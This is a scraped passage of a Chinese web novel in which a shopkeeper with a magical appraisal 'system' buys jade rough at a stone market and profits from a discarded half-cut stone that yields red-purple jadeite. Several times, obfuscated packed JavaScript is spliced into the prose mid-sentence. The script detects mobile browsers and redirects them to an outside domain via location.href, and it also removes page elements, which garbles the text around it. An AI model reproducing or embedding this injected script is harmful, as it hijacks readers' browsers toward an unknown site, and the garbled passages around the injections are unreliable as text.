柳如烟根本顾不上回答萧妧妧的问题，她惊喜极了，坐着轮椅，抱着充气娃娃，爱不释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986362|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 萧妧妧稍一琢磨，很快想通是怎么一回事。 “你看到的符号是不是……”萧妧妧掏出手机打出一串数字，“这样？” 柳如烟天真的点头：“是啊，你在框框里弄了这样的符号，然后本宫就能看好多好多故事了。” 萧妧妧闻言，不禁扶额苦笑。 大意了，她以为古人不懂密码支付，短剧充值付费的时候便没特意避开柳如烟。 柳如烟不懂什么是电子支付，只知道输入密码可以看一下集。 再回想，萧妧妧脸唰的一下绿了。 孩子静悄悄，必然在作妖。 难怪后面半天没缠着她问这问那，原来是知道了密码，根本不需要她。 “萧老板你快来坐，这个椅子会跑呢，据说它跑不动的时候不需要吃草料，晒晒太阳便可。萧老板，这到底是怎么回事啊？” 萧妧妧拿来柳如烟的平板，戳进短剧一看，原来是一部男主残疾的剧，推送的太阳能电动智能轮椅广告。 现在的小广告病毒似的，一个不慎就得困在里面，萧妧妧习以为常，没见过世面的古代人柳如烟不一样，看什么都新奇。 尤其知道支付密码以后，随便戳戳点点，不知不觉下单成功，加上她看不懂简体字，全靠画面猜测商品用途，好奇之下，什么稀奇古怪的东西都被她买了一遍。 柳如烟至今没能意识到自己花钱消费了，只当自己抱了阿拉丁神板，戳一戳点一点，稀里糊涂完成了购物流程。 哦，她甚至不知道阿拉丁是谁。 细想一番，这事不能全怪柳如烟，她也有错。 萧妧妧闭了闭眼，心底不由庆幸。 幸好送货地址默认是188号，充气娃娃前脚送进家门，后脚她就得社死。 萧妧妧翻看购买记录，把其他没来得及发货的东西通通退货。 为了安全设定的密码支付已经不安全了，萧妧妧启用面容支付，防止发生类似事件。 也就是她现在卡里钱多，少个千八百块的看不出来，否则不会发生这样的乌龙。 细枝末节的东西不想还好，细琢磨全是问题，萧妧妧解决完它们，顺带把柳如烟也给解决了。 小孩子玩起平板是无师自通，萧妧妧不能图清净放任她自己玩，上网该注意的事项必须得教会。 “为什么？本宫没有付钱，怎么算买东西了呢？” “电子支付？什么意思？” “哎呀，你说的我听不懂，我不听我不听。” “那不是玩偶吗？为何不能碰？” “不能退不能退，这是有轮子的椅子，和别的椅子不一样。” “萧老板你也太小气了！” 小气的萧妧妧倒吸一口气，顿时歇了心思，教不会，爱咋咋吧。 她看着散落一地的包裹，最终无奈妥协。 快递小哥送来一次社死一回，退回去又得社死一回，不如留着给柳如烟当玩具。 “哇~好快的椅子，萧老板你看啊~” “哈哈哈太有意思了，萧老板，本宫要带走它。” 有了新玩具，柳如烟不再执着追短剧，屁股像钉死在轮椅上，操纵轮椅在不大不小的院子里，欢快地绕起圈子来。 一会从左向右加速，一会从右向左倒退，一阵阵犹如银铃般的笑声在院子里回响。 “也是拿你没办法……”萧妧妧看柳如烟玩得不亦乐乎，轻轻地叹了口气，扬声说：“我要外出一趟，帮我看着铺子啊。” 使唤起柳如烟，萧妧妧没有一点负担，毕竟付了钱和面子的。 “萧老板放心去，有本宫在误不了事。”柳如烟拍拍轮椅，豪情万丈的大声回应。 萧妧妧抽抽嘴角，终究没有出言反驳什么，打击她信心没人帮忙看店就得不偿失了。 又仔细叮嘱柳如烟不要随便进入古董铺，同时注意不能和前来光顾的客人们发生争吵，柳如烟通通点头答应，表示一定会严格遵守，娇俏小模样乖巧得不得了。 萧妧妧见她态度端正，半信半疑骑上史努比，往玉石毛料市场去。 75. 第 75 章 从前几次路过，萧妧妧没瞧出毛料交易市场有多吸引人。 现在明白玉石翡翠的好了，萧妧妧后悔不迭。 但后悔没用，她至今没能掌握如何鉴别玉石好坏的技巧，更不用说去分辨毛料，是系统给了她走进市场的勇气和信心。 别看玉石昂贵，玉石珠宝商店或华丽或雅致，售卖毛料的市场却和华丽雅致没多大关系。 萧妧妧抬头，市场顶部是钢架撑起的大棚子，面前是一排排水泥砌的长摊位，其简陋程度与普通菜市场无异。 乍一看清市场内部环境，萧妧妧心中不免涌上一丝失望。 然而她目光一转，注意到穿梭市场中的行人或颈挂金链，或腕戴玉镯，每一件饰品都透露着不俗的价值。 萧妧妧收敛了先前的轻视，她调整心态，先从市场入口处开始，逐一探访。 每一竖排大约有二三十个摊位，较小的摊位上摆放着十来块奇形怪状的毛料，而较大的摊位则占据两个位置，上面陈列着大小不一的石头，总数可达二十多块。 有的摊子门可罗雀，老板悠然自得地摇着蒲扇玩手机，热门的摊位人头攒动，大家目不转睛地盯着一块石头瞧。 萧妧妧难以挤进人多的摊子，只好在无人问津的摊位里随意看看。 交易市场里的摊子多数明码标价，价格从几千到上万乃至十万不等，萧妧妧纵使卡里有千万资产，也舍不得掏十几万交学费。 她故作镇定地拿起手电，在毛料上胡乱照射一通，实则是在等待系统给出结果。 老板对此不以为意，眼睛始终没有离开手机，不咸不淡地招呼了几句。 萧妧妧稍作等待，小摊上的十三块石头便以图片形式，清晰地呈现在眼前。 她看了看系统的估价，又对比摊子上的标价牌，默默放下手电，步伐轻快地离去。 系统果然很靠谱，确实能估出毛料价值，这比什么扫描仪可靠多了。 至少萧妧妧就没听过有什么机器能分辨出玉石品质，顺带给参考价格的。 萧妧妧暗自窃喜，估价功能绝对是交易系统最实用、最不可小觑的功能。 确认估价功能对玉石毛料同样起作用，萧妧妧踏实了，步伐更加坚定，背脊挺直。 标价3000，估价500，亏了亏了，略过。 标价80000，估价90000，赚太少，不值当，略过。 标价40000，估价92000……萧妧妧瞥到最后一张图片，眼睛一亮。 她后退几步，稳稳的在小摊前站定，捧起其中一块石头感受一下。 毛料约有成年人脑袋那么大，份量不轻，坠得手腕疼。 老板见她年轻，喝一口茶，懒洋洋地说：“四万一个不讲价，老矿场来的好料子，免费解石。” 萧妧妧愣了愣，这才想起自己忽略了什么，毛料成为玉石前还有一道工序，解石。 解的好，价格翻倍，解的不好，血本无归。 萧妧妧雀跃不已的心脏回归原位，她纠结片刻，放下手中毛料。 她暂时没弄清楚系统给出估价的凭据，毕竟解出原石不算结束，后续的步骤都会对成品的价格造成影响。 这点利润，说不定等她折腾出成品，毛料的本钱都赚不回来。 萧妧妧嫌它利润低，风险大，摇摇头打算离开。 刚迈出去两步，萧妧妧又迟疑了。 四万块，反正没有特别贵，不如解一个试试？ 一点学费不交是不可能的，总要投点本钱深入学习……萧妧妧很快说服自己，抱起石头准备付钱。 老板惊诧一瞬，赶紧起身，“这是不退换的，你不再看看？” 不少小年轻被电视剧小说影响，怀揣着捡漏的梦想，毫不犹豫地掷金于此，一旦解石结果不尽如人意，便怒气冲冲地回来要求退货。 老板不耐烦卷入纠纷，因此丑话说在前面，以免萧妧妧日后找他理论。 萧妧妧依旧保持着微笑，坚定点头：“我明白，不会退的。请问解石的地方在哪里？” 老板一听，往棚子西南角的一间商铺指了指。 “拿着条子去，让师傅给你开料。” 萧妧妧确定位置，抱起石头离开。 老板摇摇头，乐呵呵坐回去玩手机。 萧妧妧绕过挨挨挤挤的人群，很快在解石区里找到一个休息中的师傅。 表达来意，师傅要求看一眼老板开的条子，确认无误，抱起石头走到机器旁。 “丫头你想怎么开？” 萧妧妧这会有点虚，她听不懂师傅说的行话，含糊道：“您经验丰富，您看着划。” 师傅也不惊讶，闻言拿起手电筒仔仔细细在毛料上照。 萧妧妧等啊等，三分钟五分钟或者更久，师傅划出三条线，问萧妧妧意见。 “这是1号线，线外面有裂纹，质地不好，颜色看不出来，所以我设计从这里取胚，咱们避开它。 2号线在反面，你看它的纹理，按我的经验来说，这个位置取不出东西。 3号线位置比较好，灯光下看，绿得很明显，而且没什么裂纹，您给个决定？” 师傅很老道，看出萧妧妧是个外行，把自己规划的切割方案罗列清楚，交由萧妧妧决定。 想到自己目的是为做试验，萧妧妧把目光从3号线挪开，先从1号线开始切割。 师傅多看萧妧妧一眼，有心想劝，但只是唉了一声便没说下去，转身将毛料放进机器里固定好，启动切割。 机器启动的瞬间，周围立刻围了人过来，大家伸着脑袋等结果，比萧妧妧还要激动。 大约等了三四分钟，嗡嗡震动的机器停了。 一时间，周围连说话声都小了，大家眼巴巴瞅着师傅。 师傅显然是习以为常，推开机器，松开固定器具，捧着开窗的一面递过来。 萧妧妧几乎是立刻看到了朦胧的绿，大约碗口那么大。 “绿了绿了，瞧着是糯种。” “可惜不够大，就应该切3号才对，这啥也看不出来。” “至少要再切一次。” 萧妧妧听身后你一言我一语，分辨不出好坏，索性搬出系统。 操控面板很快弹出切割过的毛料照片，价格那一栏却出乎意料，给的是一个浮动区间，5~8万。 这是切垮了？ “师傅，按照2号线切吧。” 萧妧妧早有心理准备，估价莫名蒸发一万多块，只心痛一会很快冷静下来。 师傅赞叹她好胆魄，又把毛料塞回去继续切割。 第二次扫描，价格意外的涨了，说涨也不完全对，价格区间从5~8万变成7~9万，最高价仍旧不超过初始的估价，只下限提高了两万。 萧妧妧心里安定了一些，交出毛料，切割第三次。 “还切呢？不错了，丫头，回头真垮了有得你哭。” “是啊是啊，这料子不算特别差，6、7万没问题，回本了赶紧收手吧。” 萧妧妧无暇理会身后的劝告，眼睛一眨不眨地紧盯毛料。 赌石的刺激感她是一点也没体会到，提前拿到答案的萧妧妧只想弄清楚其中关窍，而一旁围观的人相较而言更上头。 嗡嗡震了两分钟，毛料切割完毕，不等师傅取出，她立刻开启扫描。 毛料捧到眼前，周围接连响起赞叹声，萧妧妧也在这时看到了新的估价——八万。 “不错了，你是今天第一个切涨的，要不要给你再修修，把旁边杂质清理一下？” 萧妧妧神情淡淡，道一声谢，拜托解石师傅调整一下。 “小丫头不赖啊，这心性适合赌石。” 师傅笑呵呵夸了一句，抱起毛料去另一个工作间，换其他工具打磨冲刷。 “喏，现原形了，糯种飘花接近糯冰，按照它的飘花分布，切三片不是问题，很容易出成品的。” 完整玉石展现在眼前，比起脑袋大的毛料，面前的翡翠原石瘦了一大圈，缩小了约三分之二的体积。 “糯种飘花，可以了，没亏本。” “小几万能卖出去，别说没亏本，小赚没问题。” 听到大家的议论，萧妧妧更加小心地捧住它，左右欣赏片刻后忍不住惊叹，想起来扫描估价已经是十几秒后的事。 她一边拿着手电筒照，一边等待估价。 确实如师傅所说，是轻微透明的飘花糯种，很常见的翡翠类型。 没有杂质影响，灯光下结构清晰分明，整体颜色偏雾蒙蒙的绿，在糯种翡翠中属于中等透明度。 好在是绿色飘花，比蓝色飘花要值钱一些，且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995969|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘花呈丝带状，分布均匀，增添了一抹灵动感，设计足够巧妙的话，翡翠成品会更加惊艳。 或许是她解的第一块毛料，萧妧妧怎么看怎么满意。 她满怀期待的去看估价，看清上面的数字，眼底闪过一抹失望。 八开头的五位数，差一点到九万，距离最开始的九万二差了三四千。 萧妧妧神情太过淡定，围观的买手和解石师傅当她是不懂行情，纷纷出主意。 “不错不错，细糯种，请个好师傅，三个镯子三个挂牌基本没问题。” “一个镯子算两、三万吧，八万妥妥拿下。挂牌不带绿，按照三五千算，九万差不多，十万也有希望。不亏了，可以啊小丫头。” 萧妧妧的确对如何设计成品不了解，歪头问：“如果雕成摆件呢？” “这形状做镯子好看，做摆件尺寸不够，”回答她的是为她解石的寸头师傅，他说：“你要真想做摆件啊，请大师给你设计设计，成品卖一开小六位不难。” 一开小六位数，萧妧妧听着心口怦怦跳，细思过后发现不值当。 原石值八万，花一到两万甚至更多的工费请大师雕件，有屎上雕花之嫌，不如老老实实做首饰实在。 考虑清楚，萧妧妧找解石师傅借来几张报纸，包起翡翠原石塞进背包，偷摸转移到空间。 这一次的小实验没有赔本，还基本上摸清了其中的门道，萧妧妧很满意。 系统的估价只到原石这一阶段，不出意外，对毛料的初始估价是它在成为成品前最高、最本真的价值。 好在师傅靠谱，所以前后两次估价差值控制在几千块左右，但凡哪一道工序出了差错，就不是几千块的事了。 从毛料到翡翠原石，萧妧妧算是实实在在体验过选料、取料的过程，也终于明白翡翠成品为何价高。 她从一堆石头里选中一块脑袋大的毛料，开出来的原石约有两手抱拳那么点，切成片料后根据纹路飘花加工设计，最多能出三个带绿的小圈口镯子。 所幸飘花漂亮，成品能卖上价格，不带绿的挂牌相对而言没那么值钱，几千上万不等。 如大家所说，确实不亏，还有点小赚。 萧妧妧心里有底了，摩拳擦掌，准备回到市场大干一场。 刚走出解石区大门，旁边商铺爆发的大声量争吵吸引了她。 “又一个闹着退货的，不像话哦，生意还怎么做？” “搁我我也退，你们看看，切一半了，连个绿都没看到。” “垮了垮了，别说二十万，两千都没人要。” “说好的必出绿，你这切开啥也没有，退货，必须退货！” 萧妧妧扭头循声望去，不远处有一间不大不小的店铺，里面摆满了各式各样的架子，架子上面密密麻麻地摆放着大小颜色不一的毛料。 不知道出了什么事，铺子门口围得里三层外三层，一个个叉着腰翘着腿，等着看热闹的神态。 她踮起脚，竖着耳朵听上一会儿，很快猜个八九不离十。 萧妧妧嚯了一声，二十万的毛料竟然切垮了？ 这学费可够贵的。 她钻进人群，想看看二十万的毛料垮成什么样，才挤进去，就看到情绪异常激动的毛料的主人。 他扯着嗓子大声嚷嚷着，指责店主故意坑骗他，怀疑毛料根本不是老矿场出来的，总而言之，坚决要求店主给他退货退款。 店主自然不肯答应，更不能接下这盆脏水，双方你来我往互不相让，吵得有来有回。 萧妧妧挤在围观群众里像个墙头草，听谁的话都觉得有道理，按捺不住内心好奇，她尝试用系统扫描。 “叔，这毛料真花了二十万啊？” 趁着系统运行评估的工夫，萧妧妧和旁边围观了半天的人攀谈。 大叔摇了摇头，一脸肉疼的说：“哪止二十万哟，整整二十三万！唉……现在的年轻人啊，做事太冲动！” 萧妧妧不禁咂舌，满含同情地朝着毛料主人望去……嗯？ 同情的目光尚未送达便硬生生地收住了，因为系统扫描结束并弹出了图片。 萧妧妧瞪大眼睛，仔仔细细地数了两遍后面的零。 的确没有看错，屏幕上明晃晃地标着1800000！ 一百八十万，这不是没垮吗？ 76. 第 76 章 萧妧妧挠挠头，垂眸思索两秒，决定再看看情况。 她没着急离开，混在一众看热闹的人当中。 吵嚷持续了十来分钟，双方陷入僵持，市场管理员恰好在这时出现。 满脸气愤的年轻人诉说自己的委屈，店铺老板同样气得跺脚，非要掰扯出道理。 萧妧妧望了望日头，快中午了，看热闹的人大多捱不住，估摸着不了了之，便摆摆手跑走。 大约过去十多分钟，看热闹的人又少了一半，这时在管理员的调解下，双方终于达成一致。 店铺老板同意退一半的货款，至于另外一半，年轻人就当是吃亏交学费。 萧妧妧一看到结果，瞬间了然。 年轻人应当不是乱说，老板卖的料子果然有问题，否则一定咬死不同意退款。 毕竟市场有市场的规矩，买定离手概不负责的规矩在毛料交易市场同样盛行，若真是年轻人耍赖，管理员不会放任顾客胡闹。 年轻人虽然吵赢了架，但也亏损了一半钱财，他自认倒霉，骂骂咧咧地离开。 管理员挥手驱散围观群众，等人群散开一些，拉住老板说了什么。 店铺老板好声好气的回应，一副乖巧学生姿态接受教育。 事情到此为止，已经看不到什么热闹，周围瞬间没了人影。 萧妧妧在墙角位置蹲了片刻，直到管理员也离开。 这时，没了外人在，店铺老板耷拉着脸皮，一脸晦气地长叹一口气，嘴里嘀嘀咕咕说着什么。 他捧着切了一半的破石块，想扔又舍不得，放回高价区域显然不会有人买。 迟疑片刻，店铺老板最终将那半块毛料放在了甩卖的货架上，以五千块一个的价格售卖。 萧妧妧左看看右看看，大家各忙各的，并没有人注意到这里。 她唰一下起身，三步并两步冲进店铺。 “哇！好有个性的石头老板我就要它了帮我包起来吧。” 店铺老板才躺回摇椅，屁股没坐热，眼前一花，一个扎着丸子头的女生风风火火地闯了进来。 她指着货架某一处，机关枪一般，气不带喘地吐出一长串话。 店铺老板抱着刚拧开的保温杯愣了愣，眨巴眼睛，有些迷茫地望着萧妧妧。 萧妧妧礼貌地微微一笑，手指戳了戳货架方向，提醒他赶紧办正事。 “哦，你要、你要买啥来着？” 店铺老板迟钝回神，扶着摇椅起身走到货架边上。 萧妧妧有些做贼心虚，不自觉放低嗓门：“那块，切了一半的。” 店铺老板刚抬起的胳膊停在半空，他一脸狐疑地转过头看向萧妧妧，不确定地问：“这块？你确定？” 他将信将疑地弯下腰，抱起已经被别人切开并且明显切垮了的毛料，想不通怎么会有人看上它。 想不通归想不通，对于老板来说，东西能顺利卖出去就行，其他不重要。 “这是新矿场冲下来的料子，还是切了一半的，你真要的话，五千拿走。说好了啊，不管能不能开出来东西，不退不换。”老板加重语气强调。 萧妧妧一听，弯了弯唇角。 两人吵架的时候，对方还信誓旦旦地坚称毛料出自老矿场，这会倒是老实交代了。 新老矿场的料子差距可不小，新矿场出货概率低老矿场三成，这是众所周知的。 正因为如此，新矿场的毛料一直卖不上价，而糟糕的是，老矿场经过长时间的过度开采，已经很难再找到优质的料子。 找不出什么好料，不良商家便动起了歪脑筋，他们会拿新矿场的毛料伪装成老矿场的毛料来出售，以此谋取更高的利润。 没有被发现还好，一旦被抓住现行，只有乖乖认罚的份儿。 萧妧妧：“规矩我懂，拿来吧你。” 飞快完成转账，萧妧妧甚至没耐心等待老板找东西包住它，一个箭步冲上前接住毛料抱进怀里。 店铺老板看她一惊一乍，又心急火燎的样子，摇摇头，嗤笑一声，躺回摇椅。 头也不回地飞奔出店铺，远离老板视线范围，萧妧妧才如释重负地吐一口气。 该怎么形容这种紧张和兴奋交织在一起的感觉呢？ 大概就是，在人头攒动的地方看见地上有一百块，生怕别人先一步捡走或是失主找来，于是一连串假动作掩饰，靠近后啪叽一下踩在脚底，最后假装系鞋带偷摸抽走。 抱着这块毛料的自己，就是那个在众目睽睽之下捡走一百块的幸运儿，既满心欢喜又提心吊胆。 恰好临近中午，解石区的师傅们休息的休息，用餐的用餐，围观看热闹的人三三两两。 萧妧妧见时机难得，飞快拦住刚才为她解石的那位师傅。 “呦，是你啊，怎么又来了？”师傅随口搭话。 萧妧妧不好意思的嘿嘿笑，捧起手中的半块毛料。 “麻烦师傅帮忙解一下。” 师傅面露迟疑，他撸了撸花白的寸头，嘶了一声。 “有点眼熟啊……”他接过毛料翻转过来，眼睛倏然瞪大：“这不是老李解的那块吗？” 萧妧妧没想到师傅竟然能认出毛料，不禁缩了缩脖子。 “真的假的？我刚刚在铺子里见到的，卖得可便宜了，一时冲动。”萧妧妧语气急促地描补两句，赶紧转移话题：“师傅，现在能解吗？” 寸头的师傅看一眼时间，点头答应：“成，不费事。” 划线的工夫，师傅没忍住对萧妧妧嘀嘀咕咕。 “小丫头冲动了，怎么想起来买它。” “早上解石的时候，大家都看着呢，四面窗口，垮得不成样。” “说起来也怪，灯照着的时候，确实有紫光，按理说是能出货的。” “哎呀，几千块不妨事，你前一个料子好好设计设计，这亏空能补上。” “呦，这不是上午解垮的那块吗？”又一个解石师傅端着饭盒路过，看见寸头师傅仍旧忙着，凑上来看了一眼，“这是换人了？” 萧妧妧尴尬地冲着两位师傅笑了笑。 或许是机器旁凑到了三个人，显得有些热闹，不多时，分散在解石区各处的师傅、买手等，不知不觉间聚拢过来。 “这料子怎么切成这样？” “这是早上那个料子吧？” “我想起来了，二十多万的那个，切了七八次好像，差点对半切了，结果什么都没看见。” “嚯，这是不死心继续开？” 显然，大家对这块切垮的毛料印象深刻，匆匆打量两眼便辨认了出来。 有人好奇怎么还要切，耐着性子等师傅划线。 有人笃定不会出什么好货，摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不错不错，瞧着是冰种，应该是冰粉紫，适合你们年轻小姑娘。”寸头师傅挺高兴，瘦长干巴的脸上挤出褶皱，“丫头你等等，我再给你擦擦，看得仔细些。” 不等萧妧妧应声，师傅捧着毛料进工作间进行更细致的加工。 “丫头，料子卖不卖？”深色西装男人鬼祟凑过来，话音急切。 “五十万！我们开价五十万！”中年男人一撅屁股，挤开西装男人递来名片。 萧妧妧低头扫一眼，是什么什么珠宝工作室的，她有印象，业内名气不错。 “黑心肝！五十万狗都不答应。八十万，我给八十万。” 络腮胡男人挺身而出，扒拉开围住萧妧妧的两个男人，豪气报价。 三人你瞪我我瞪你，互相攀比起来。 萧妧妧没见过这阵仗，稍稍退了两步，搓着手弱声说：“谢谢，我要自留，不卖。” 不高不低的声音响起，三人无不面露可惜。 “一百万！你考虑考虑吧，冰粉紫说好挺好的，但也没那么好，一百万差不多了。” 这时，留着小胡子的男人站出来，苦口婆心的劝说。 相比起他们此时的热切，萧妧妧更喜欢他们先前一副居高临下，看小孩胡闹的姿态。 她摇摇头，再次拒绝了小胡子男人。 说话的工夫，工作间里，紫翡渐渐露出真容，寸头师傅抱着原石出来时，萧妧妧听到了一片哇声。 “不是冰粉紫，是冰红紫！” 77. 第 77 章 萧妧妧暗道一声这才对，冰粉紫可到不了一百八十万的估价。 紫翡又称紫罗兰翡翠、春色翡翠，因颜色稀有，在翡翠市场上有着较高的收藏价值。 常见的紫翡档次从高到低，可分为帝王紫、红紫、蓝紫、粉紫、淡紫、灰紫。 别看粉紫和红紫只有一字之差，价格可远了去了。 她快步上前接过原石，爱不释手地掂了掂。 什么冰红紫，分明是她的绝绝紫！ “还真是冰红紫，涨了涨了，真涨了！” “小丫头运气真好啊。” “这品相，做出成品两百万打不住。” “幸亏上午那个小伙子不在，不然得气出好歹来。” 萧妧妧顾不上周围的议论，忙不迭拿着手电在原石上一寸一寸的照，顺带启动估价扫描。 谁能想到，那么大一块毛料，切来切去，最后得到的原石也就和成年男性的拳头差不多大。 好在料子质地细腻，看不到裂纹棉絮，颜色分布比较均匀，很漂亮的红紫色，好好打磨一下，不可小觑。 但也不是没有缺点，原石形状有些崎岖，怕是不好做手镯。 “做两个蛋面，这品相，当主石足够了。” 萧妧妧忽然听到这么一句，茅塞顿开，当即掏出手机咨询许年华。 消息发出去，估价扫描完成，萧妧妧没抱希望，谁知这一看，倒是有意外的惊喜。 估价涨了，涨到两百万！ 这是……切掉了不好的地方，所以剩下的料子变值钱了？ 络腮胡男人一看情况有变，马上改口：“一百二十万！小姑娘，我们出一百二十万。” 西装男人不服输，紧随其后报价：“一百五十万，我们云梨工作室有口皆碑，小作坊不可信，我们出一百五十万！” “丫头，两百万，我出两百万，你把料子卖给我怎么样？” 萧妧妧正琢磨估价为什么会上涨，本没打算理会周围声音，任由旁边买手如何出价，咬死不卖，听到熟悉的声音，她没忍住掀眼皮。 “我就说我家的料子不差，那个小伙子非说我坑人要退货，你们看，这不是出货了吗？多好的冰红紫啊，种色皆优，多好啊！” “你们不知道，这半块料子是我五千块卖出去的……哎呀，早知道我自己留着开了！” “丫头，五千块翻到两百万，不少了，你好好考虑考虑。” 萧妧妧恍然，难怪听声音耳熟，原来是卖她毛料的店铺老板。 店铺老板着急忙慌求着萧妧妧卖回去，如何后悔不说，包围过来的吃瓜路人一听是五千块买下的料子，直呼萧妧妧运气逆天。 “五千块，一刀下去变成上百万！嘶……” “老马，真是五千啊？上午不是传二十来万吗？” “嗨，上午那个小年轻闹着退货了。” “啧啧啧，那是够倒霉的。” 大家似乎代入了年轻人的视角，哎呦哎呦几声，瞧着一个比一个心疼钱。 萧妧妧心虚片刻，想到是不退不换的交易，马上理直气壮了，二话不说，刚出炉的紫翡唰一下塞进包里。 这时她才迟钝觉察出，解石区不知道什么时候围了大几十个人，门口不断有人涌进来。 原先缠着她开价买原石的几个买手，更是卯足了劲贴过来。 “终于切涨了，已经半个月没遇到好货了，不容易啊。” “我听说是上午切垮的那个呢，开出冰红紫。” “不止呢，说是新矿场的料子，老板说了，五千块卖出去的。” “嚯！” “嚯！！” “捡漏了！” 惊叹声越来越多，解石区开出好料子的消息不胫而走。 萧妧妧没想到切个毛料能引起这么多人关注，当即慌了，对师傅说声谢，挡着脸钻了出去。 “二百二十万！丫头，不能再加了。” “我出二百三，我们找个地方坐下来聊聊……” 围着她竞价的几位买手忙不迭跟出来，嚷嚷着请她考虑。 萧妧妧两腿倒腾飞快，跑到市场大门口才敢松懈下来。 太可怕了，百来万的紫翡竟然遭到了疯抢。 萧妧妧眼光被喂高了，价值两千万的紫翡都把玩过，百万级别的料子在她眼里不算多稀罕。 不过话又说回来，同样是紫翡，颜色、种水不同，价格差距说是天壤之别不为过。 柳如烟给的紫翡镯子，是名副其实的帝王紫，颜色浓郁艳丽，饱和度高，打造成粗圆条大圈口手镯，不仅高贵典雅，还自带富贵雍容之气，当得起帝王紫的名称。 冰红紫是紫翡中难得一见的好料子，但与帝王紫相较起来，逊色许多。它的色泽较为浅淡，少了几分大气，倒是多了一些小家碧玉的味道。 发呆的工夫，许年华回了消息。 -冰红紫？蛋面？ -那可不好说，大尺寸的话，百来万肯定是要的，一百两百差不多，具体要看东西。 -你手上有货？ 萧妧妧没回，丢下一句围棋有消息了，请他约时间带张老板上门。 许年华诧异地戴上眼镜，重新读一遍新消息，嘴角咧开笑容。 “这丫头片子，有点本事啊。”许年华给她推了几家珠宝设计工作室，而后拨通电话：“张老板，您托我留意的围棋有消息了……” 萧妧妧是在十分钟后得到许年华的好消息，记下约定时间，总算解决一桩心事。 要不是担心太快回复许年华容易起疑，萧妧妧是没那个耐心等到今天才放出消息。 刚捡漏，眼看着又要有一笔大款项进账，萧妧妧浑身轻松，哼着小调，自如地穿梭在毛料交易市场。 午饭时间，天气又潮热，市场里看不见多少人。 这可方便了萧妧妧，简单对付两口，抓紧时间在摊位间一个一个扫描过去，而后环绕市场，每家店铺进去逛一逛，挑一挑。 或许是那块冰红紫耗光了她的运气，萧妧妧再没遇到心仪的漏。 倒不是说没有好料子，而是能低价买入的好料子几乎没几个。 可见大家心里门清，看料开价，越是品相好的毛料价越高。 一路逛下来，萧妧妧见着不少寄予厚望的高价毛料，动辄大百万，然而系统给出的估价将将七位数，甚至不到六位数的不在少数。 谁买回去开料谁就是大冤种。 当然，也遇见不少开了半扇窗的毛料，看种水都不错，卖方开了天价，全看敢不敢赌。 萧妧妧有过一瞬间的心动，对比完估价和卖价，犹豫片刻选择放弃。 利润不高不低，还那么费事，萧妧妧懒得赚那三瓜两枣。 重新站在市场大门前，萧妧妧不无失望地叹气，随即又想开了。 弄送到南市的交易市场，指不定大家筛了多少回，能有多大的漏可以捡啊。 毕竟南市的毛料交易市场只是一个小型市场，不成规模，不比其他以玉石为支柱产业的城市，连公盘都没有，只有许多高端玉石拍卖会。 萧妧妧想过去更大的玉石毛料公盘，可一去一回，少说耽误三四天，她放心不下小卖部。 再者，进公盘有门槛，要有人引荐，还需要缴会费，并不容易。 萧妧妧琢磨了一会，发现此路行不通，暂时打消了主意。 史努比晒得滚烫，萧妧妧龇牙咧嘴骑了一路，很快赶到隔壁街区的古玩交易市场。 因着交易市场名声不显，萧妧妧没太放在心上，何况她家住附近，小时候常听大家说这里是骗人的，根本买不到真古董，萧妧妧抱着来都来了的心态，勉为其难进去逛一逛。 这才刚进去，萧妧妧就知道大家说得没错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024508|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一打听价格都挺唬人的，成千上万，便宜的大几百，老板信誓旦旦说出处来历，距今有几百年几千年历史，系统一扫描，多的是七块八块的。 真古董倒也有几个，可惜没那么值钱。 十分钟不到，萧妧妧又龇牙咧嘴地坐上了史努比。 提前做足了心理准备，萧妧妧倒是没多少失望，只是心里越发笃定，找古董还是苏娇娇靠谱。 “叮叮叮” 镭射紫头盔刚卡在脑袋上，手机叮铃铃响。 看到备注，萧妧妧以为店里有急事。 “啊啊啊啊啊啊！这个男人！萧老板，五分钟，我要他全部的资料！” 萧妧妧：……？ 柳如烟说话怎么一股霸总味。 史努比嗖一下蹿出去，一点过半时回到了小卖部。 推开院子大门，柳如烟唰一下贴过来，抱着萧妧妧胳膊，另一手递来平板。 萧妧妧一看，长舒一口气，好歹不是看上了顾客。 “你要他的资料啊，我还真能给你找出来。” 